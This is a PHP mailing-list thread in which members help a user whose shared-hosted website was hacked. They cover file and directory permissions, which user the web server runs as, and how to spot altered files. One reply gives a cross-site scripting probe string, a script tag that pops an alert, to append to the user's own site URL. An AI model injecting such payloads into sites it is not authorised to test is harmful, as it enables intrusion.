None of my scripts do any file uploading (to the server). None.
I still don't know how I can tell what permissions the web server has.

There is no requirement that your scripts (be programmed to) upload
files. All it takes is for you to have a poorly written php script,
e.g., perhaps something where you don't properly/fully sanitize
values you pick up from the QUERY_STRING, for a hacker to be able to
modify a file (assuming that the file permissions are set
inappropriately).
What are the ownerships and permissions on the directories and files
under your web root?
- Richard
You mean like '644'?

[Peter West]

Yes. 644 => (Binary) 110_100_100 => RW-(User)_R--(Group)_R--(Other)

Only the User (owner of the files) can write the file,
but members of the owner group and all others can read it.

Search for "man chmod" and you will get a detailed explanation of permissions.

Check directory permissions as well. A file can only be deleted from or added to
a directory if the the perpetrator has write permission (as user or group or other)
on the parent directory.

Peter West

"See that you do not despise any of these little ones..."

Post by Jim Giner

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 19:51:59 -0400
Subject: Re: [PHP] Re: hacked!!

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

None of my scripts do any file uploading (to the server). None.
I still don't know how I can tell what permissions the web server has.

There is no requirement that your scripts (be programmed to) upload
files. All it takes is for you to have a poorly written php script,
e.g., perhaps something where you don't properly/fully sanitize
values you pick up from the QUERY_STRING, for a hacker to be able to
modify a file (assuming that the file permissions are set
inappropriately).
What are the ownerships and permissions on the directories and files
under your web root?
- Richard
You mean like '644'?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[Richard]

------------ Original Message ------------

Date: Saturday, October 04, 2014 13:04:53 +1000
Subject: Re: [PHP] Re: hacked!!
On 4 Oct 2014, at 12:51 pm, Jim Giner

Post by Richard

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 19:51:59 -0400
Subject: Re: [PHP] Re: hacked!!

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

None of my scripts do any file uploading (to the server). None.
I still don't know how I can tell what permissions the web
server has.

There is no requirement that your scripts (be programmed to)
upload files. All it takes is for you to have a poorly written
php script, e.g., perhaps something where you don't
properly/fully sanitize values you pick up from the
QUERY_STRING, for a hacker to be able to modify a file (assuming
that the file permissions are set inappropriately).
What are the ownerships and permissions on the directories and
files under your web root?
- Richard

You mean like '644'?

Yes. 644 => (Binary) 110_100_100 =>
RW-(User)_R--(Group)_R--(Other)
Only the User (owner of the files) can write the file,
but members of the owner group and all others can read it.
Search for "man chmod" and you will get a detailed explanation of permissions.
Check directory permissions as well. A file can only be deleted
from or added to a directory if the the perpetrator has write
permission (as user or group or other) on the parent directory.
Peter West

Who (what user) owns the directories and files? What user is the web
server (the instance that serves your files) running as?

I assume that "you" own the files (and hopefully the directories
(from the top all the way down)). But in some shared environments,
web server (apache generally) instances are set up for each user --
owned by the user's account. This is done for user separation and
security. The problem is that if the user only has one account then
the files are always owned by the same user that is running the web
server and no amount of file-level control tweaking will make things
secure.

- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Saturday, October 04, 2014 13:04:53 +1000
Subject: Re: [PHP] Re: hacked!!
On 4 Oct 2014, at 12:51 pm, Jim Giner

Post by Richard

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 19:51:59 -0400
Subject: Re: [PHP] Re: hacked!!

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

None of my scripts do any file uploading (to the server). None.
I still don't know how I can tell what permissions the web
server has.

There is no requirement that your scripts (be programmed to)
upload files. All it takes is for you to have a poorly written
php script, e.g., perhaps something where you don't
properly/fully sanitize values you pick up from the
QUERY_STRING, for a hacker to be able to modify a file (assuming
that the file permissions are set inappropriately).
What are the ownerships and permissions on the directories and
files under your web root?
- Richard

You mean like '644'?

Yes. 644 => (Binary) 110_100_100 =>
RW-(User)_R--(Group)_R--(Other)
Only the User (owner of the files) can write the file,
but members of the owner group and all others can read it.
Search for "man chmod" and you will get a detailed explanation of permissions.
Check directory permissions as well. A file can only be deleted
from or added to a directory if the the perpetrator has write
permission (as user or group or other) on the parent directory.
Peter West

Who (what user) owns the directories and files? What user is the web
server (the instance that serves your files) running as?
I assume that "you" own the files (and hopefully the directories
(from the top all the way down)). But in some shared environments,
web server (apache generally) instances are set up for each user --
owned by the user's account. This is done for user separation and
security. The problem is that if the user only has one account then
the files are always owned by the same user that is running the web
server and no amount of file-level control tweaking will make things
secure.
- Richard

My files all seem to have a 644 for permissions. My public_html (root)
folder show attribute of

(using Filezilla)

owner - r/w/e
group - r/w/e
public - r/w/e

with a numeric value field showing 'xxx'

My sub-folders of that seem to be different and I don't know why that is:

owner - r/w/e
group - r/e
public - r/e

with a numeric value of 755.

The public_html settings are apparently(?) disabled since the screen
shows them in a shaded color.

So - are all of these correct?

[Omega -1911]

Post by Jim Giner
My files all seem to have a 644 for permissions. My public_html (root)
folder show attribute of
(using Filezilla)
owner - r/w/e
group - r/w/e
public - r/w/e
with a numeric value field showing 'xxx'
owner - r/w/e
group - r/e
public - r/e
with a numeric value of 755.
The public_html settings are apparently(?) disabled since the screen shows
them in a shaded color.
So - are all of these correct?

No. Your public_html folders should not be set r/w/e (777). They should be
like the following:

owner = 7 .. read, write, execute
group = 5 .. read, execute
public = 5 .. read, execute

*NOTE - Even the public_html folder should be set at 755.

[Richard]

------------ Original Message ------------

Date: Saturday, October 04, 2014 13:23:07 -0400
Subject: Re: [PHP] Re: hacked!!
On Sat, Oct 4, 2014 at 1:04 PM, Jim Giner

Post by Jim Giner
My files all seem to have a 644 for permissions. My public_html
(root) folder show attribute of
(using Filezilla)
owner - r/w/e
group - r/w/e
public - r/w/e
with a numeric value field showing 'xxx'
owner - r/w/e
group - r/e
public - r/e
with a numeric value of 755.
The public_html settings are apparently(?) disabled since the
screen shows them in a shaded color.
So - are all of these correct?

No. Your public_html folders should not be set r/w/e (777). They
owner = 7 .. read, write, execute
group = 5 .. read, execute
public = 5 .. read, execute
*NOTE - Even the public_html folder should be set at 755.

Also, what "user" owns these directories/files? What "user" does the
web server that serves them run as? [if they are the same the
permissions almost (not totally) moot.]

- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Saturday, October 04, 2014 13:23:07 -0400
Subject: Re: [PHP] Re: hacked!!
On Sat, Oct 4, 2014 at 1:04 PM, Jim Giner

Post by Jim Giner
My files all seem to have a 644 for permissions. My public_html
(root) folder show attribute of
(using Filezilla)
owner - r/w/e
group - r/w/e
public - r/w/e
with a numeric value field showing 'xxx'
owner - r/w/e
group - r/e
public - r/e
with a numeric value of 755.
The public_html settings are apparently(?) disabled since the
screen shows them in a shaded color.
So - are all of these correct?

No. Your public_html folders should not be set r/w/e (777). They
owner = 7 .. read, write, execute
group = 5 .. read, execute
public = 5 .. read, execute
*NOTE - Even the public_html folder should be set at 755.

I have modified the permissions.

Post by Richard
Also, what "user" owns these directories/files? What "user" does the
web server that serves them run as? [if they are the same the
permissions almost (not totally) moot.]
- Richard

I do not have the answers to your questions

[Omega -1911]

On Sat, Oct 4, 2014 at 1:28 PM, Richard <

Post by Richard

Post by Omega -1911
No. Your public_html folders should not be set r/w/e (777). They
owner = 7 .. read, write, execute
group = 5 .. read, execute
public = 5 .. read, execute
*NOTE - Even the public_html folder should be set at 755.

Also, what "user" owns these directories/files? What "user" does the
web server that serves them run as? [if they are the same the
permissions almost (not totally) moot.]
- Richard

Servers have the following options:

1. root
2. nobody
3. The owner of hosting account.

If viewing with filezilla, you will see the "owner" on the far right. As I
have explained, a crafted cross-site-scripting attack or sql injection
attack will STILL ALLOW your site to hacked as permission at this point are
moot.

[Christoph Becker]

Post by Omega -1911

Post by Jim Giner
My files all seem to have a 644 for permissions. My public_html (root)
folder show attribute of
(using Filezilla)
owner - r/w/e
group - r/w/e
public - r/w/e
with a numeric value field showing 'xxx'
owner - r/w/e
group - r/e
public - r/e
with a numeric value of 755.
The public_html settings are apparently(?) disabled since the screen shows
them in a shaded color.
So - are all of these correct?

No. Your public_html folders should not be set r/w/e (777). They should be
owner = 7 .. read, write, execute
group = 5 .. read, execute
public = 5 .. read, execute
*NOTE - Even the public_html folder should be set at 755.

As Richard has repeatedly said, this all depends on who owns the
files/folders. See <http://en.wikipedia.org/wiki/File_system_permissions>.

[Jim Giner]

Post by Christoph Becker
As Richard has repeatedly said, this all depends on who owns the
files/folders. See <http://en.wikipedia.org/wiki/File_system_permissions>.

And as I have repeatedly said - I do not know these things. It is a
hosted server and the admins there set this all up. I simply use it -
apparently a little weaker than it s/b.

[Richard]

------------ Original Message ------------

Date: Saturday, October 04, 2014 13:50:30 -0400
Subject: Re: [PHP] Re: hacked!!

Post by Christoph Becker
As Richard has repeatedly said, this all depends on who owns the
files/folders. See
<http://en.wikipedia.org/wiki/File_system_permissions>.

And as I have repeatedly said - I do not know these things. It is
a hosted server and the admins there set this all up. I simply
use it - apparently a little weaker than it s/b.

Actually, I've only seen you indicate that you don't know this
detail in this and your immediately previous message.

You should contract the server admins and find out the answers. If
they have set things up so that each shared-host user has their own
web server instance, running under the individual account user's id,
then you need to decide if security really matters to you, or if you
should find a different provider. Not all shared-host setups do the
web server instance per user, but some do, and it's an important bit
of information to know since there's almost nothing you can do to
mitigate the security weaknesses of that type of setup.

- Richard

[Christoph Becker]

Post by Richard
------------ Original Message ------------

Date: Saturday, October 04, 2014 13:50:30 -0400
Subject: Re: [PHP] Re: hacked!!

Post by Christoph Becker
As Richard has repeatedly said, this all depends on who owns the
files/folders. See
<http://en.wikipedia.org/wiki/File_system_permissions>.

And as I have repeatedly said - I do not know these things. It is
a hosted server and the admins there set this all up. I simply
use it - apparently a little weaker than it s/b.

You should contract the server admins and find out the answers.

It is not strictly necessary to contact the hosting provider to get this
information. Besides using posix_getpwuid(posix_geteuid()) (which may
be available or not), the following technique should work everywhere:

* upload a dummy file via FTP and check the owner (the FTP client should
list this information)

* create a dummy file with PHP and check the owner

[Richard]

------------ Original Message ------------

Date: Monday, October 06, 2014 22:07:25 +0200
Subject: Re: [PHP] Re: hacked!!

Post by Richard
------------ Original Message ------------

Date: Saturday, October 04, 2014 13:50:30 -0400
Subject: Re: [PHP] Re: hacked!!

Post by Christoph Becker
As Richard has repeatedly said, this all depends on who owns the
files/folders. See
<http://en.wikipedia.org/wiki/File_system_permissions>.

And as I have repeatedly said - I do not know these things. It
is a hosted server and the admins there set this all up. I
simply use it - apparently a little weaker than it s/b.

You should contact the server admins and find out the answers.

It is not strictly necessary to contact the hosting provider to
get this information. Besides using
posix_getpwuid(posix_geteuid()) (which may be available or not),
* upload a dummy file via FTP and check the owner (the FTP client
should list this information)
* create a dummy file with PHP and check the owner
--
Christoph M. Becker

Actually, the output of the phpinfo() function should show the user
and group that the server is running as. If the "user" is the same
as the login id that is being used to place files on the site, then
fully securing the site against hacking is tricky. If it's only the
"group" (or neither), then careful permissions control should have a
positive effect.

- Richard

[Richard]

------------ Original Message ------------

Date: Tuesday, October 07, 2014 14:07:01 +0000
Subject: Re: [PHP] Re: hacked!!

Post by Christoph Becker
It is not strictly necessary to contact the hosting provider to
get this information. Besides using
posix_getpwuid(posix_geteuid()) (which may be available or not),
* upload a dummy file via FTP and check the owner (the FTP client
should list this information)
* create a dummy file with PHP and check the owner
--
Christoph M. Becker

Actually, the output of the phpinfo() function should show the user
and group that the server is running as. If the "user" is the same
as the login id that is being used to place files on the site, then
fully securing the site against hacking is tricky. If it's only the
"group" (or neither), then careful permissions control should have
a positive effect.
- Richard

Have you used the phpinfo() function to determine the user/group
that the web server is running as? Also, have you changed from using
ftp to sftp or scp?

Having 30 files touched (as you indicated in a separate thread)
implies a systemic issue and/or fairly freewheeling access.


- Richard

[Jim Giner]

Post by Richard
Who (what user) owns the directories and files? What user is the web
server (the instance that serves your files) running as?
I assume that "you" own the files (and hopefully the directories
(from the top all the way down)). But in some shared environments,
web server (apache generally) instances are set up for each user --
owned by the user's account. This is done for user separation and
security. The problem is that if the user only has one account then
the files are always owned by the same user that is running the web
server and no amount of file-level control tweaking will make things
secure.
- Richard

Filezilla shows that my public_html is
owner - r/w/e
group - r/w/e
public - r/w/e

Is that correct?

My sub-folders under that are
owner - r/w/e
group - r/e
public - r/e

Is that correct?

[Rick]

Post by Jim Giner
None of my scripts do any file uploading (to the server). None.

That's not really relevant. There are plenty of ways to exploit
poorly written scripts. You need to have someone look at the scripts
and fix the security issues.

Post by Jim Giner
I still don't know how I can tell what permissions the web server has.

Just ftp to your server and list the files in the long format. The
listing should show ownership and permission settings.

--
http://yosemitenews.info/

[Jim Giner]

Post by Rick

Post by Jim Giner
None of my scripts do any file uploading (to the server). None.

That's not really relevant. There are plenty of ways to exploit
poorly written scripts. You need to have someone look at the scripts
and fix the security issues.

Post by Jim Giner
I still don't know how I can tell what permissions the web server has.

Just ftp to your server and list the files in the long format. The
listing should show ownership and permission settings.
--
http://yosemitenews.info/

The scripts all use prepare queries (PDO) and my inputs are checked too.
I have learned from some of the best on other forums (Jacques1 for
ex.) and have been educated to read a couple of suggested books. Yes -
I learned how to improve my programming in php/web a bit late, but I did
pick it up and convert all my scripts. I really don't think my scripts
are the problem -hence that is why I didn't even mention that in my
initial post.

[Rick]

Post by Jim Giner
The scripts all use prepare queries (PDO)

Okay, but nothing has been mentioned about any database
hacks.

Post by Jim Giner
and my inputs are checked too.

I have no way to verify that.

Post by Jim Giner
I learned how to improve my programming in php/web a bit late, but I did
pick it up and convert all my scripts.

Do you understand the reasons for the changes you made?

--
http://www.spinics.net/lists/centos/

[Omega -1911]

Post by Jim Giner
None of my scripts do any file uploading (to the server). None.
That's not really relevant. There are plenty of ways to exploit
poorly written scripts. You need to have someone look at the scripts
and fix the security issues.
I still don't know how I can tell what permissions the web server has.
Just ftp to your server and list the files in the long format. The
listing should show ownership and permission settings.
--
http://yosemitenews.info/
The scripts all use prepare queries (PDO) and my inputs are checked

too. I have learned from some of the best on other forums (Jacques1 for
ex.) and have been educated to read a couple of suggested books. Yes - I
learned how to improve my programming in php/web a bit late, but I did pick
it up and convert all my scripts. I really don't think my scripts are the
problem -hence that is why I didn't even mention that in my initial post.

Not so true. Andy Lester made a great point:
"prepare does not do magic that makes your code safe. If you have built a
SQL command with outside data, you are in danger." - Andy Lester
<http://stackoverflow.com/users/8454/andy-lester> Sep 5 '13 at 4:00
http://stackoverflow.com/questions/18627150/hack-prepare-statement-read-first

Have you protected yourself from cross-site scripting? How? Append this to
your Albany Handball site"i=<script>alert('Hacked')</script>" without the
quotes. If you feel that your scripts are safe, the most anyone can do from
here is suggest talking to your hosting provider as just about everything
else has been discussed as to how your web site was hacked. Hopefully you
will resolve this soon.

[Lester Caine]

Post by Jim Giner
The scripts all use prepare queries (PDO) and my inputs are checked too.
I have learned from some of the best on other forums (Jacques1 for ex.)
and have been educated to read a couple of suggested books. Yes - I
learned how to improve my programming in php/web a bit late, but I did
pick it up and convert all my scripts. I really don't think my scripts
are the problem -hence that is why I didn't even mention that in my
initial post.

Jim
I look after a lot of sites where others have created the original code,
and as 'exploits' are documented around the net you see hackers trying
them against random sites. They like to identify just what a site is
using to target particular exploits, so if the detect Joomla or
wordpress or MySQL they will 'have a go' with their library of 'tests'.
This is where understanding just what the log file shows can be useful
as you may see a long list of URL's trying out combinations of things. I
use Firebird myself and the logs for that show all the failed MySQL
attacks ...

Another useful tool I have is a package called 'beyond compare'. One of
the few packages I've actually paid for. All of the websites on client
hosted services I have a local copy of the working site and can BC with
th live site when problems are spotted. takes some time to run on remote
file systems with the bigger frameworks, but modifications stick out
like a sore thumb and one can usually establish quite quickly how a
problem arose, but more important - fix the problem rapidly. There is a
lot of legacy code that I don't need to rework and this allows an
economic maintenance process.

A vector for adding stuff is where third party sites provide javascript
and the like and even php.net has been affected by making files that
were editable via git accessible via the site. I prefer to keep to my
own copies of these so I can include them in the cross checking.

I think what I am seeing is that your own 'attack' has been extra links
added into your own files? Which would mean that something has access to
write, but that may be via a back door created elsewhere. I've a couple
of .asp sites which kept getting attacked and I could not see why - not
normally using ASP - but eventually it was tracked down to a know asp
exploit in a third party element.
--
Lester Caine - G8HFL
-----------------------------
Contact - http://lsces.co.uk/wiki/?page=contact
L.S.Caine Electronic Services - http://lsces.co.uk
EnquirySolve - http://enquirysolve.com/
Model Engineers Digital Workshop - http://medw.co.uk
Rainbow Digital Media - http://rainbowdigitalmedia.co.uk

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 13:22:19 -0700
Subject: Re: Re: hacked!!

Post by Richard
He's on shared hosting, so only some of these are options for him.
However, this does raise the issue that he should review all
directories/files (not forgetting to look for hidden
directories/files) that he controls on his site (including those
outside the web server tree) to make certain that nothing else has
been added/altered. Doing a full restore from a clean (before
known incident data) backup is generally the advised approach.

The big thing he needs to do is make sure the document tree is
*NOT* wriable by the web server. Way too many packages have
instuctions that say to chmod directories to 777 and that's how
these hacks happen.

Yes, this is a common problem. The directories/files in the document
tree should *never* be owned or writable by the user that is running
the web server software. [in those special cases where it needs to
be writable by the server, very special care needs to be taken to
secure things.]


- Richard